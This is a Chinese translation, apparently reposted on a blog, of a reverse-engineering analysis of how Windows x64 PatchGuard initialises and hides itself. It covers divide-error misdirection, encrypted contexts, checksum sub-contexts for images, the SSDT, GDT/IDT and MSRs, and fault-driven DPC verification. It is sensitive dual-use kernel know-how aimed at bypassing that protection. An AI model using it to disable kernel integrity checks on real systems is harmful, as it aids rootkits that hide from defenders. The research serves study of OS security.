1. 程式人生 > >Bypassing PatchGuard on Windows x64

Bypassing PatchGuard on Windows x64

ica pass 原理 之前 測試 mbo frame ont 第三方

【說明】
1. 本文是意譯,加之本人英文水平有限、windows底層技術屬菜鳥級別,本文與原文存在一定誤差,請多包涵。
2. 由於內容較多,從word拷貝過來排版就亂了。故你也可以下載附件。
3. 如有不明白的地方,各位雪友可通過附件中的聯系方式聯系我技術分享圖片,同時建議各位參照原文閱讀......

【64位windows系統的PatchGuard】

原文:Bypassing PatchGuard on Windows x64.pdf

關於windows x64上的PatchGuard是幹什麽用的,我就不賣弄了。^. ^。PG的初始化代碼作為nt!KeInitSystem的一部分,早在系統啟動過程中就執行了。

3.1. 初始化PG Context
PG初始化的Entry point是KiDivide6432(),而事實上,這個函數根本沒有做任何防止打補丁的保護(anti-patch protections)。其就完成了一個除法操作:
ULONG KiDivide6432 (
IN ULONG64 Dividend,
IN ULONG Divisor)
{
return (Dividend / Divisor );
}
這個函數看似沒用,其實是隱藏了其真實意圖!這個函數的被除數是nt!KiTestDividend(0x014b5fa3a053724c),除數是0xcb5fa3(專業術語是硬編碼,通俗講就是一個常量)。這個函數執行後,如果返回的商與常量0x5ee0b7e5不相等, nt!KeInitSystem()就會BSoD系統,bug check是0x5d(UNSUPPORTED_PROCESSOR),但事實上,系統並沒有BSoD(好戲在後頭^.^)。
這裏的原理類似在病毒中常用的一個很巧妙的方法,就是故意觸發異常,然後引導自己的代碼執行。AMD64指令手冊中說,如果執行div指令後的商溢出(商的大小為4個字節),就會產生一個除法錯誤。除法錯誤就會導致一個硬件異常,在內核中處理處理這個硬件異常,會間接初始化PG子系統。但是,微軟為什麽要怎麽做呢?繼續往下看。
有意思的是全局變量nt!KiTestDividend與另一個全局變量nt!KdDebuggerNotPresent有密切聯系。即nt!KiTestDividend的最高字節取值即為nt!KdDebuggerNotPresent值。(藍色部分)
lkd> dq nt!KiTestDividend L1
fffff800‘011766e0 014b5fa3‘a053724c
lkd> db nt!KdDebuggerNotPresent L1
fffff800‘011766e7 01
當然,如果系統設置了調試器,則KdDebuggerNotPresent為0,相應地,KiTestDividend為0x004b5fa3a053724c,這樣得到的商就剛好是0x5ee0b7e5(0x004b5fa3a053724c÷0xcb5fa3 = 0x5ee0b7e5)(0x014b5fa3a053724c ÷0xcb5fa3 = 0x1A11F49AE 商溢出)。默認為1。這就意味著,如果在間接初始化PG子系統前,系統掛了一個調試器,則PG子系統不會被初始化,因為這個除法錯誤被調試器捕獲了,PG也就不起作用了。當然,如果在PG子系統初始化後,再掛上調試器,設置斷點等操作就會BSoD了?。
理解了KiTestDividend,下一步就是了解微軟如何通過這個除法錯誤來引導執行PG子系統的初始化操作。這就需要從如下函數入手了:nt!KiDivideErrorFault()。註意,所有的除法錯誤的處理都會經過這個函數。
KiDivideErrorFault()函數經過一系列的處理後,最終會調用nt!KiOp_Div()函數來處理這個除法錯誤。KiOp_Div()函數貌似會處理各種各樣的除法錯誤,如除數為0。相應的調用堆棧如下:
kd> k
Child-SP RetAddr Call Site
fffffadf‘e4a15f90 fffff800‘010144d4 nt!KiOp_Div+0x29
fffffadf‘e4a15fe0 fffff800‘01058d75 nt!KiPreprocessFault+0xc7
fffffadf‘e4a16080 fffff800‘0104172f nt!KiDispatchException+0x85
fffffadf‘e4a16680 fffff800‘0103f5b7 nt!KiExceptionExit
fffffadf‘e4a16800 fffff800‘0142132b nt!KiDivideErrorFault+0xb7
fffffadf‘e4a16998 fffff800‘014212d3 nt!KiDivide6432+0xb
fffffadf‘e4a169a0 fffff800‘0142a226 nt!KeInitSystem+0x169
fffffadf‘e4a16a50 fffff800‘01243e09 nt!Phase1InitializationDiscard+0x93e
fffffadf‘e4a16d40 fffff800‘012b226e nt!Phase1Initialization+0x9
fffffadf‘e4a16d70 fffff800‘01044416 nt!PspSystemThreadStartup+0x3e
fffffadf‘e4a16dd0 00000000‘00000000 nt!KxStartSystemThread+0x16
KiOp_Div()函數在具體處理某個除法錯誤前,會首先調用nt!KiFilterFiberContext()函數。這個函數的反匯編代碼如下:
nt!KiFilterFiberContext:
fffff800‘01003ac2 53 push rbx
fffff800‘01003ac3 4883ec20 sub rsp,0x20
fffff800‘01003ac7 488d0552d84100 lea rax,[nt!KiDivide6432]
fffff800‘01003ace 488bd9 mov rbx,rcx
fffff800‘01003ad1 4883c00b add rax,0xb
fffff800‘01003ad5 483981f8000000 cmp [rcx+0xf8],rax
fffff800‘01003adc 0f855d380c00 jne nt!KiFilterFiberContext+0x1d
fffff800‘01003ae2 e899fa4100 call nt!KiDivide6432+0x570
從這段代碼可看成,其是在判斷除法錯誤發生的地址是否就是nt!KiDivide6432 + 0xb。反匯編一下,我們就能看到:
nt!KiDivide6432+0xb:
fffff800‘0142132b 41f7f0 div r8d
如果除法錯誤就發生在KiDivide6432 + 0xb的地方,則在KiDivide6432+0x570的地方就會引用一個未命名的符號(常量:0x2d8)。這個值確定了nt!KiInitializePatchGuard()函數是否回被執行,也正是這個函數完成了PG子系統的安裝。
KiInitializePatchGuard()函數本身比較龐大,其初始化了一些contexts,這些contexts將用來監控特定的系統鏡像(certain system images)、SSDT、processor GDT/IDT、特定的關鍵的MSRs(certain critical MSRs)以及一些與調試相關的例程。KiInitializePatchGuard()執行前,KiDivide6432還要做的一件事就是判斷當前系統是否是以安全模式啟動的,如果是,PG系統也不會啟動:
nt!KiDivide6432+0x570:
fffff800‘01423580 4881ecd8020000 sub rsp,0x2d8
fffff800‘01423587 833d22dfd7ff00 cmp dword ptr [nt!InitSafeBootMode],0x0
fffff800‘0142358e 0f8504770000 jne nt!KiDivide6432+0x580
...
nt!KiDivide6432+0x580:
fffff800‘0142ac98 b001 mov al,0x1
fffff800‘0142ac9a 4881c4d8020000 add rsp,0x2d8
fffff800‘0142aca1 c3 ret
如果系統不是以安全模式啟動的,則KiInitializePatchGuard()就會開始初始化PG子系統了:
(1). 計算ntoskrnl.exe中的INITKDBG節的大小
? 已知nt!FsRtlUninitializeSmallMcb()函數就在INITKDBG節中。
? 將nt!FsRtlUninitializeSmallMcb()函數的地址傳遞給nt!RtlPcToFileHeader。
? RtlPcToFileHeader在ntoskrnl.exe中搜索FsRtlUninitializeSmallMcb()後,第二個輸出參數返回一個nt基地址。
? 將得到的nt基地址傳給nt!RtlImageNtHeader()函數。這個函數返回一個PIMAGE_NT_HEADERS指針。
? FsRtlUninitializeSmallMcb()的RVA = FsRtlUninitializeSmallMcb()地址 – nt基地址。
? 然後將nt基地址、獲得的IMAGE_NT_HEADERS地址、RVA傳遞給nt!RtlSectionTableFromVirtualAddress()函數,從而計算出INITKDBG節的基地址。
kd> ? rax //別忘了,返回值在rax中
Evaluate expression: -8796076244456 = fffff800‘01000218
kd> dt nt!_IMAGE_SECTION_HEADER fffff800‘01000218
+0x000 Name : [8] "INITKDBG" //我們要找的節
+0x008 Misc : <unnamed-tag>
+0x00c VirtualAddress : 0x165000
+0x010 SizeOfRawData : 0x2600
+0x014 PointerToRawData : 0x163a00
+0x018 PointerToRelocations : 0
+0x01c PointerToLinenumbers : 0
+0x020 NumberOfRelocations : 0
+0x022 NumberOfLinenumbers : 0
+0x024 Characteristics : 0x68000020
做這個操作的目的是為了迷惑並隱藏PG將執行的代碼。INITKDBG節中的代碼會被拷貝到一個已分配好的保護上下文(allocated protection context)中。在驗證階段,會利用這個context。

(2). 定位PoolTagArray
收集完INITKDBG鏡像節的信息後,KiInitializePatchGuard()函數執行了一個偽隨機數產生器(pseudo-random number generations),主要是防破解!這裏是第一次,後面還有很多。這個偽隨機數產生器的代碼與下類似:
fffff800‘0142362d 0f31 rdtsc //得到CPU自啟動以後的運行周期
fffff800‘0142362f 488bac24d8020000 mov rbp,[rsp+0x2d8]
fffff800‘01423637 48c1e220 shl rdx,0x20
fffff800‘0142363b 49bf0120000480001070 mov r15,0x7010008004002001
fffff800‘01423645 480bc2 or rax,rdx
fffff800‘01423648 488bcd mov rcx,rbp
fffff800‘0142364b 4833c8 xor rcx,rax
fffff800‘0142364e 488d442478 lea rax,[rsp+0x78]
fffff800‘01423653 4833c8 xor rcx,rax
fffff800‘01423656 488bc1 mov rax,rcx
fffff800‘01423659 48c1c803 ror rax,0x3
fffff800‘0142365d 4833c8 xor rcx,rax
fffff800‘01423660 498bc7 mov rax,r15
fffff800‘01423663 48f7e1 mul rcx
fffff800‘01423666 4889442478 mov [rsp+0x78],rax
fffff800‘0142366b 488bca mov rcx,rdx
fffff800‘0142366e 4889942488000000 mov [rsp+0x88],rdx
fffff800‘01423676 4833c8 xor rcx,rax
fffff800‘01423679 48b88fe3388ee3388ee3 mov rax,0xe38e38e38e38e38f
fffff800‘01423683 48f7e1 mul rcx
fffff800‘01423686 48c1ea03 shr rdx,0x3
fffff800‘0142368a 488d04d2 lea rax,[rdx+rdx*8]
fffff800‘0142368e 482bc8 sub rcx,rax
fffff800‘01423691 8bc1 mov eax,ecx
產生的這第一個隨機數用作pool tags數組的下標。這裏的pool tags數組中的tag主要在PG分配內存時使用。關於如何定位這個pool tags數組,以及如何利用這個隨機數索引,請參考以下代碼:
fffff800‘01423693 488d0d66c9bdff lea rcx,[nt]
fffff800‘0142369a 448b848100044300 mov r8d,[rcx+rax*4+0x430400] //rax中就是產生的隨機數
於是,PoolTagArray = nt基地址 + 0x430400;RandomPoolTagIndex = eax。註意,每個tag占4個字節。PG所用的tags如下:
lkd> db nt+0x430400
41 63 70 53 46 69 6c 65-49 70 46 49 49 72 70 20 AcpSFileIpFIIrp
4d 75 74 61 4e 74 46 73-4e 74 72 66 53 65 6d 61 MutaNtFsNtrfSema
54 43 50 63 00 00 00 00-10 3b 03 01 00 f8 ff ff TCPc.....;......

(3). 分配Context
Context = ExAllocatePoolWithTag(
NonPagedPool,
(InitKdbgSection->VirtualSize + 0x1b8) + (RandSize & 0x7ff),
PoolTagArray[RandomPoolTagIndex]
);
這個Context的結構體稱為PatchGuardContext,其頭部被格式化為:PATCHGUARD_CONTEXT。這個結構體的前0x48個字節是從nt! CmpAppendDllSection()拷貝而來。這個函數的名字有一定的誤導,其實質是用來在運行時解密PATCHGUARD_CONTEXT結構體的。在將CmpAppendDllSection()函數拷貝到PATCHGUARD_CONTEXT結構體後,KiInitializePatchGuard()函數就在PATCHGUARD_CONTEXT結構體中存放了一組函數地址,如下圖:(註意,64位系統的函數地址是8個字節^.^)

KiInitializePatchGuard()函數保存好以上函數指針後,就再產生一個隨機數,並從pool tags數組中獲取對應的pool tag,這一個tag用於隨後的內存分配操作,且保存在PATCHGUARD_CONTEXT結構體的偏移為0x188處。到此時為止,就產生了2個隨機數,在後面加密PATCHGUARD_CONTEXT結構體時就用了這兩個隨機數。一個用作隨機循環位值(保存在PATCHGUARD_CONTEXT結構體的偏移為0x18c處),另一個用作XOR種子(保存在PATCHGUARD_CONTEXT結構體的偏移為0x190處)。
(4). 獲取虛擬地址空間的位數
主要是調用cpuid ExtendedAddressSize (0x80000008)擴展函數。所得的值存放在PATCHGUARD_CONTEXT結構體的的偏移為0x1b4處。
(5). 拷貝INITKDBG節
在初始化各個保護的sub-context(individual protection sub-contexts)前,要做的最後一個主要操作就是將INITKDBG節拷貝到PATCHGUARD_CONTEXT結構體中。偽代碼如下:
memmove(
(PCHAR)PatchGuardContext + sizeof(PATCHGUARD_CONTEXT),
NtImageBase + InitKdbgSection->VirtualAddress,
InitKdbgSection->VirtualSize);
註意:sizeof(PATCHGUARD_CONTEXT) = 0x1b8 //後文有註釋
初始化了PG的context的主要部分後,接下來就是出書啊sub-contexts了。Sub-contexts代表了PG要保護的那些特定的東東。
3.2. 初始化受保護的結構體
PG要保護的那些結構體都有相應的sub-context來描述。這些sub-contexts結構體都是以PATCHGUARD_CONTEXT結構體開始的。初始化以下4個sub-contexts後,PG context(為區分sub-context,將其稱為parent context)會被XOR。然後KiInitializePatchGuard()函數初始化一個timer並啟動之。這個timer的作用是運行驗證PG子系統收集到的數據的代碼。除了以下結構體外,KiInitializePatchGuard()函數還分配了一些其它暫時無法識別的sub-contexts結構體,尤其是類型為0x4和0x5的結構體。
? 保護System images的sub-context的初始化
? 保護SSDT的sub-context的初始化
? 保護GDT/IDT/MSRs的sub-context的初始化
? 保護Debug routines的sub-context的初始化

(1). 保護System images的sub-context的初始化
PG要保護的關鍵內核鏡像(certain key kernel images)有:ntoskrnl.exe、hal.dll、ndis.sys。這些鏡像中的符號地址會傳遞給nt!PgCreateImageSubContext()函數:
NTSTATUS PgCreateImageSubContext(
IN PPATCHGUARD_CONTEXT ParentContext,
IN LPVOID SymbolAddress);
對於ntoskrnl.exe,傳遞的符號地址是nt!KiFilterFiberContext的地址;對於hal.dll,傳遞的符號地址是HalInitializeProcessor的地址;對於ndis.sys,傳遞的是其入口地址,這個入口地址是通過調用nt!GetModuleEntryPoint函數獲得。PgCreateImageSubContext()函數保護這些images所采用的方法是產生可區分的PG sub-contexts。
第一個sub-context保存image的sections的checksum(有些例外)。第二個和第三個sub-context分別保存image的IAT和Import Directory的checksum。分配這些sub-contexts的所有例程都會調用一個共同的函數(shared routine。個人覺得將shared翻譯成“共同的”或“相同的”比“共享的”好^.^),而這個“共同的”函數負責產生一個用於保存一段內存塊的checksum,主要是使用這個隨機的XOR值和保存在parent PG context結構體中的用作隨機循環位的那個隨機數(原文是:These routines all make use of a shared routine that is responsible for generating a protection sub-context that holds the checksum for a block of memory using the random XOR key and random rotate bits stored in the parent PatchGuard context structure.)。這個函數的定義如下:
typedef struct BLOCK_CHECKSUM_STATE
{
ULONG Unknown;
ULONG64 BaseAddress;
ULONG BlockSize;
ULONG Checksum;
} BLOCK_CHECKSUM_STATE, *PBLOCK_CHECKSUM_STATE;

PPATCHGUARD_SUB_CONTEXT PgCreateBlockChecksumSubContext(
IN PPATCHGUARD_CONTEXT Context,
IN ULONG Unknown,
IN PVOID BlockAddress,
IN ULONG BlockSize,
IN ULONG SubContextSize,
OUT PBLOCK_CHECKSUM_STATE ChecksumState OPTIONAL);
BLOCK_CHECKSUM_STATE結構體中的Unknown成員值來自nt!PgCreateBlockChecksumSubContext()函數的Unknown參數,在調試的時候,這個值是0,具體有何用,未知。
PgCreateBlockChecksumSubContext()函數計算checksum的算法很簡單,其偽代碼如下:
ULONG64 Checksum = Context->RandomHashXorSeed;
ULONG Checksum32;
// Checksum 64-bit blocks
while (BlockSize >= sizeof(ULONG64))
{
Checksum ^= *(PULONG64)BaseAddress;
Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
BlockSize -= sizeof(ULONG64);
BaseAddress += sizeof(ULONG64);
}
// Checksum aligned blocks
while (BlockSize-- > 0)
{
Checksum ^= *(PUCHAR)BaseAddress;
Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
BaseAddress++;
}
Checksum32 = (ULONG)Checksum;
Checksum >>= 31;
do
{
Checksum32 ^= (ULONG)Checksum;
Checksum >>= 31;
} while (Checksum);
Checksum32就是最後得到的checksum,其會保存到BLOCK_CHECKSUM_STATE中。
為了達到初始化image sections的checksum的目的,nt!PgCreateImageSubContext()函數會調用如下函數:
PPATCHGUARD_SUB_CONTEXT PgCreateImageSectionSubContext(
IN PPATCHGUARD_CONTEXT ParentContext,
IN PVOID SymbolAddress,
IN ULONG SubContextSize,
IN PVOID ImageBase);
PgCreateImageSectionSubContext()函數首先檢測nt!KiOpPrefetchPatchCount值是否為0。如果不為0,則創建的塊校驗和上下文(block checksum context)就不會覆蓋image中的所有sections。否則,這個函數就會枚舉image中的所有節,並為每個節都計算一個checksum,但不包括INIT、PAGEVRFY、PAGESPEC和PAGEKD這些節。
另外,PgCreateImageSectionSubContext()函數還會調用nt!PgCreateBlockChecksumSubContext()函數來計算image的IAT和Import Directory。

(2). 保護SSDT的sub-context的初始化
第三方驅動開發者HOOK得最多的就是SSDT了。Win7 x64系統下SSDT表與Windows XP x86系統下的SSDT表不一樣(因為我很久沒搞SSDT HOOK了,以前搞過Windows XP x86下的SSDT HOOK,故這裏以之作為比較對象^.^)。
原文中,作者獲取函數地址的公式是:dwo(nt!KiServiceTable+n)+nt!KiServiceTable(n=0,1,2…)。但在我的系統上用這個公式測試,卻不對,應該是系統版本問題?。以下是我的公式推導方法:
? 查看函數地址,如下:
由於作者得到的是nt!NtMapUserPhysicalPagesScatter()函數,我直接在Windbg中查看該函數的地址,如下:
kd> u nt!NtMapUserPhysicalPagesScatter l1
nt!NtMapUserPhysicalPagesScatter:
fffff800`040cd190 48895c2408 mov qword ptr [rsp+8],rbx //這與原文的488bc4 mov rax,rsp也不一樣?,版本問題?
這裏得到的NtMapUserPhysicalPagesScatter()函數地址為fffff800`040cd190
? 再看看nt!KiServiceTable的地址,如下:
kd> dd nt!KiServiceTable l4 //用這條命令的原因是作者用了dwo,所以我就順便把KisServiceTable的開始4字節內容顯示出來
fffff800`03cbcb00 04106900 02f6f000 fff72d00 031a0105
nt!KiServiceTable的地址 = fffff800`03cbcb00;offset = dwo(nt!KiServiceTable) = 04106900。
? KiServiceTable、offset、Address三者的關系:
fffff800`040cd190 - fffff800`03cbcb00 = 410690(很眼熟??),與04106900是什麽關系我就不多說了。
所以,最後得到的公式為:(dwo(nt!KiServiceTable+n)>>4)+nt!KiServiceTable(n=0,1,2…)。這個公式與http://bbs.dbgtech.net/forum.php?mod=viewthread&tid=360一樣(看來要多逛論壇了?)。至於為什麽要”>>4”,作者的沒有,以上帖子已有說明?……
然後關於Win7 x64系統下的SSDT表的格式,我就不多說了,相信你已知曉?……
PG在nt!PgCreateBlockChecksumSubContext()函數中保護了nt!KiServiceTable和nt!KeServiceDescriptorTable。關於這個函數的調用方法如下:
PgCreateBlockChecksumSubContext(
ParentContext,
0,
KeServiceDescriptorTable->DispatchTable, // KiServiceTable
KiServiceLimit * sizeof(ULONG),
0,
NULL);

PgCreateBlockChecksumSubContext(
ParentContext,
0,
&KeServiceDescriptorTable,
0x20,
0,
NULL);

(3). 保護GDT/IDT的sub-context的初始化
GDT是用來描述內核所使用的內存段(memory segments)的。對惡意的應用程序來說,GDT是有利可圖的,因為通過修改一些特定的GDT入口就可以讓不具有特權等級的(non-privileged)、用戶模式的應用程序能夠修改內核內存。IDT對惡意的context和合法的context來說都是很有用的。在某些情況下,第三方可能希望在特定的硬件或軟件中斷傳到內核前就截獲它們,即hook IDT。
PG保護GDT/IDT的原理,主要是調用nt!PgCreateBlockChecksumSubContext()函數來實現的,當然需傳入各自的context。由於保存GDT和IDT信息的寄存器是與給定的處理器相關聯的,那麽PG就需要在每個處理器上為這2個表創建互不影響的context。要為給定的處理器獲取GDT和IDT的地址,PG首先調用nt!KeSetAffinityThread()函數,以確保自己運行在這個特定的處理器上。之後,PG調用nt!KiGetGdtIdt()函數來獲得GDT和IDT的基地址。這個函數的定義如下:
VOID KiGetGdtIdt(
OUT PVOID *Gdt,
OUT PVOID *Idt);
雖然獲取GDT和IDT基地址,是用的一個函數,但在真正進行保護GDT和IDT時,是在兩個不同的函數中進行的。它們分別是:nt!PgCreateGdtSubContext() 和 nt!PgCreateIdtSubContext()。定義如下:
PPATCHGUARD_SUB_CONTEXT PgCreateGdtSubContext(
IN PPATCHGUARD_CONTEXT ParentContext,
IN UCHAR ProcessorNumber);

PPATCHGUARD_SUB_CONTEXT PgCreateIdtSubContext(
IN PPATCHGUARD_CONTEXT ParentContext,
IN UCHAR ProcessorNumber);
這兩個函數會在所有的處理器上被調用。nt!KeNumberProcessors指示哪個處理器,它們就在哪個處理器上調用。

(4). 保護Processor MSRs的sub-context的初始化
最新最棒的處理器已經極大地優化了用戶模式切換到內核模式所使用的方法。在此之前,大多數的OS,包括Windows,都使用一個軟中斷來處理系統調用。新一代的處理器采用命令來進行系統調用,如syscall何sysenter命令。這就可能用到MSR(processor-defined Model-Specific Register)。MSR就包含了即將調用的內核函數(與用戶態函數對應)的地址。在x64架構上,控制該地址的MSR被稱為LSTAR(Long System Target-Address Register) MSR。與MSR相關聯的code是0xc0000082。在系統啟動過程中,x64內核將MSR初始化為nt!KiSystemCall64()函數的地址。
微軟為了防止第三方通過改變LSTAR MSR的值,從而hooking系統調用,PG在PgCreateMsrSubContext()函數中創建了類型為7(type 7)的sub-context結構體並緩存MSR的值:
PPATCHGUARD_SUB_CONTEXT PgCreateMsrSubContext(
IN PPATCHGUARD_CONTEXT ParentContext,
IN UCHAR Processor);
與GDT/IDT的保護一樣,LSTAR MSR的值也是與處理器相關的,需在每個處理器上都各自保留一份。為確保是從正確的處理器上獲得的MSR值,PG調用nt!KeSetAffinityThread函數以確保獲取MSR值的線程是運行在相應的處理器上。

(5). 保護Debug routines的sub-context的初始化
PG創建了一個特殊的sub-context(type 6)結構體來保護某些內核函數,這些內部函數被內核用著調試目的,如nt!KdpStub()函數等。當發生異常後,調試器在允許內核分發這個異常前,會先調用nt!KdpStub()函數來處理這個異常。實際上,這個函數是在nt!KiDebugRoutine()函數中調用的,nt!KiDebugRoutine()函數實質又是一個全局變量,調用nt!KiDebugRoutine()函數的是nt!KiDispatchException()。所以,這個調用路徑是:nt!KiDispatchException() ? nt!KiDebugRoutine() ? nt!KdpStub()。這些過程都是在如下函數中完成的:
PPATCHGUARD_SUB_CONTEXT PgCreateDebugRoutineSubContext(
IN PPATCHGUARD_CONTEXT ParentContext);
這個sub-context初始化後,其好像包含了nt!KdpStub()、nt!KdpTrap()和nt!KiDebugRoutine()函數的地址。這個sub-context的作用好像是為了防止第三方驅動修改nt!KiDebugRoutine()函數的地址以指向別的地方。可能還有其它用處……
3.3. 保護PG Contexts自身
創建並初始化好以上contexts後,PG就要保護這些contexts了。為了增加定位這些PG Contexts的難度,所有的contexts都與一個隨機產生的64-bit值進行了XOR操作(即加密)。進行這個加密操作的函數正是nt!PgEncryptContext()。這個函數按行XOR提供的context的buffer,並返回這個XOR值。該函數的定義如下:
ULONG64 PgEncryptContext(
IN OUT PPATCHGUARD_CONTEXT Context);
nt!KiInitializePatchGuard ()函數初始化完所有sub-contexts後,下一件事就是加密primary PG context了(parent context)。要完成這個功能,第一步就是將棧上的context拷貝一份,以便其在被加密後,PG能以純文本的格式(plain-text)引用這個context。備份context的目的是以後的驗證程序在執行時可以加入隊列中(需要參考context結構體的一些屬性)。做好備份後,就是調用nt!PgEncryptContext()函數對primary PG context進行加密了。一旦驗證程序被加入到隊列後,以等候執行,context的純文本格式的備份就不再需要了,就會被清0。偽代碼如下:
PATCHGUARD_CONTEXT LocalCopy;
ULONG64 XorKey;

memmove(
&LocalCopy,
Context,
sizeof(PATCHGUARD_CONTEXT)); // 0x1b8

XorKey = PgEncryptContext(
Context);

... Use LocalCopy for verification routine queuing ...

memset( //清空備份
&LocalCopy,
0,
sizeof(LocalCopy));
3.4. 執行PG驗證函數
在初始化所有的sub-contexts後,且在加密primary PG context前,nt!KiInitializePatchGuard ()函數還做了一個關鍵性操作(PG有很多這樣的操作),就是從存儲在primary PG context中,偏移為0x168的一組函數指針中隨機選取一個函數,選中的函數就會被間接調用以處理PG相關驗證操作。
選中驗證函數後,primary PG context就會被加密了。加密完成後,nt!KiInitializePatchGuard ()函數就會初始化一個timer,這個timer就會利用之前分配的那些sub-contexts。初始化這個timer的函數正是nt!KeInitializeTimer(),而傳遞給它的指向timer結構體的指針的實參實際上是sub-context結構體的一部分。初始化一結束,這個timer結構體之後0x88處的值是0x1131(WORD)。經過反匯編,這2個字節被傳遞給“xor [rcx], edx”指令。再看看nt!CmpAppendDllSection()函數,你會發現它的第一條指令正好包含0x1131:
kd> u nt!CmpAppendDllSection l 1
nt!CmpAppendDllSection:
fffff800`041b513e 2e483111 xor qword ptr cs:[rcx],rdx //第一條指令
kd> dw nt!CmpAppendDllSection l 2
fffff800`041b513e 482e 1131
現在還沒發現有什麽用,也許後面會用到……
初始化timer結構體後,PG就開始調用nt!PgInitializeTimer ()函數將timer加入隊列中,以等候處理。該函數的定義如下:
VOID PgInitializeTimer(
IN PPATCHGUARD_CONTEXT Context,
IN PVOID EncryptedContext,
IN ULONG64 XorKey,
IN ULONG UnknownZero);
nt!PgInitializeTimer ()這個函數做了一些比較奇怪的事。首先,初始化timer的DPC竟然是之前從primary PG context中隨機選取的驗證函數(取名DeferredRoutine)。其中,有兩個實參會傳遞給DeferredRoutine()函數:EncryptedContext指針和XorKey。DeferredRoutine()函數會將這兩個參數做XOR操作,從而產生一個徹頭徹尾的偽指針(completely bogus pointer)。這個偽指針又會被當作DeferredContext實參傳遞給nt!KeInitializeDpc()函數。最終的偽代碼如下:
KeInitializeDpc(
&Dpc,
Context->TimerDpcRoutine,
EncryptedContext ^ ~(XorKey << UnknownZero));
初始化DPC後,就是調用nt!KeSetTimer()函數將DPC加入隊列了。DPC的DueTime參數也是隨機產生的。設置好timer後,nt!PgInitializeTimer()函數就返回了。
到此時,nt! KiInitializePatchGuard()函數就完成了它的使命,並返回到nt!KiFilterFiberContext ()函數中。那麽這個除法錯誤就得到了糾正且恢復執行nt!KiDivide6432()函數中的div指令的下一條指令了。系統就可以正常啟動了???。
然而到目前為止,工作才完成了一半???!接下來的問題是這個驗證程序是如何被調用起來的。很明顯,這與DPC例程相關。我們知道這個驗證程序是從primary PG context中隨機選取的,事實上定位這個函數指針數組的方法是反匯編nt! KiInitializePatchGuard()函數:
nt!KiDivide6432+0xec3:
fffff800‘01423e74 8bc1 mov eax,ecx
fffff800‘01423e76 488d0d83c1bdff lea rcx,[nt]
fffff800‘01423e7d 488b84c128044300 mov rax,[rcx+rax*8+0x430428]
同樣,隱藏pool tag array數組所采用的技術與此相同。即nt基地址+0x430428即可得DPC函數:
lkd> dqs nt+0x430428 L3
fffff800‘01430428 fffff800‘01033b10 nt!KiScanReadyQueues
fffff800‘01430430 fffff800‘011010e0 nt!ExpTimeRefreshDpcRoutine //三個中,此易於理解
fffff800‘01430438 fffff800‘0101dd10 nt!ExpTimeZoneDpcRoutine
從以上信息只能推測出這些DPC函數的可能排列,但還沒有從本質上說明如何引導這些驗證context的函數執行起來。
從邏輯上講,下一步是理解這些函數如何基於DeferredContext參數(從nt!PgInitializeTimer ()函數傳遞而來)進行操作。這個DeferredContext就指向被加密關鍵字XOR過的PG context。以上三個函數中,就nt!ExpTimeRefreshDpcRoutine ()函數易於理解。nt!ExpTimeRefreshDpcRoutine ()函數的開始幾條反匯編指令如下:
lkd> u nt!ExpTimeRefreshDpcRoutine //我的OS上的指令與之不同,保持與原文一致
nt!ExpTimeRefreshDpcRoutine:
fffff800‘011010e0 48894c2408 mov [rsp+0x8],rcx
fffff800‘011010e5 4883ec68 sub rsp,0x68
fffff800‘011010e9 b801000000 mov eax,0x1
fffff800‘011010ee 0fc102 xadd [rdx],eax
fffff800‘011010f1 ffc0 inc eax
fffff800‘011010f3 83f801 cmp eax,0x1
DeferredRoutine()函數的第一個參數是一個DPC指針,第二個參數是一個DeferredContext指針。根據x64函數調用約定,rcx保存的就相當於是DPC指針,rdx保存的就相當於是DeferredContext指針。但這會有一個問題???!這個函數的第4條指令試圖在DeferredContext的第一部分上執行xadd指令。根據之前的介紹,傳遞給DPC例程的DeferredContext是一個徹頭徹尾的偽指針,這是不是就意味著反引用(de-reference)這個指針就會立即BSoD呢?顯然不是的,這就是另外一個通過觸發異常進行間接引用(misdirection case)的傑作!
事實上,nt!ExpTimeRefreshDpcRoutine()、nt!ExpTimeZoneDpcRoutine()和 nt!KiScanReadyQueues()函數都是相當合法的,只是沒有直接做什麽事情而已,而是間接地執行了一些code。這三個函數所做的事就是反引用(de-reference)DeferredContext指針:
lkd> u fffff800‘01033b43 L1
nt!KiScanReadyQueues+0x33:
fffff800‘01033b43 8b02 mov eax,[rdx]
lkd> u fffff800‘0101dd1e L1
nt!ExpTimeZoneDpcRoutine+0xe:
fffff800‘0101dd1e 0fc102 xadd [rdx],eax
一旦DeferredContext操作指針,就會產生一個一般保護異常(General Protection Fault),這個異常會傳遞給nt!KiGeneralProtectionFault()函數。這個函數最終會執行異常處理函數,這個異常處理函數與觸發這個錯誤的函數(如nt!ExpTimeRefreshDpcRoutine())有關聯。在x64系統上,這個異常處理code與32-bit系統上的完全不同。這些函數並不是在運行時註冊異常處理函數(exception handlers),而是在函數編譯的過程中就指定了異常處理函數。這樣做的好處是這些函數可以通過標準的API來查詢,如nt!RtlLookupFunctionEntry()。這個函數將查詢的目標函數的信息存放在RUNTIME_FUNCTION結構體中並返回之。要註意這個結構體中還包含一些很重要的unwind信息。這個unwind信息中就包含了異常處理函數的地址。你可以通過以下方式來查看nt!ExpTimeRefreshDpcRoutine()函數的異常處理函數:
lkd> .fnent nt!ExpTimeRefreshDpcRoutine
Debugger function entry 00000000‘01cdaa4c for:
(fffff800‘011010e0) nt!ExpTimeRefreshDpcRoutine |
(fffff800‘011011d0) nt!ExpCenturyDpcRoutine
Exact matches:
nt!ExpTimeRefreshDpcRoutine = <no type information>
BeginAddress = 00000000‘001010e0
EndAddress = 00000000‘0010110d
UnwindInfoAddress = 00000000‘00131274
lkd> u nt + dwo(nt + 00131277 + (by(nt + 00131276) * 2) + 13)
nt!ExpTimeRefreshDpcRoutine+0x40:
fffff800‘01101120 8bc0 mov eax,eax
fffff800‘01101122 55 push rbp
fffff800‘01101123 4883ec30 sub rsp,0x30
fffff800‘01101127 488bea mov rbp,rdx
fffff800‘0110112a 48894d50 mov [rbp+0x50],rcx
仔細查看這個異常處理函數後,好像它在特定的條件下就會調用nt!KeBugCheckEx()函數,且BSoD code是 0x109。當你試圖篡改關鍵的結構體時,PG就會通過這個藍屏碼(0x109)來指示藍屏信息。
以上三個函數的異常處理函數相當類似,且執行的是相同的操作。如果DeferredContext沒有被修改過,則異常處理函數最終就會調用執行備份在INITKDB節中的保護context的代碼,尤其是nt!FsRtlUninitializeSmallMcb ()函數,這個函數就負責調用各個驗證sub-context的函數。
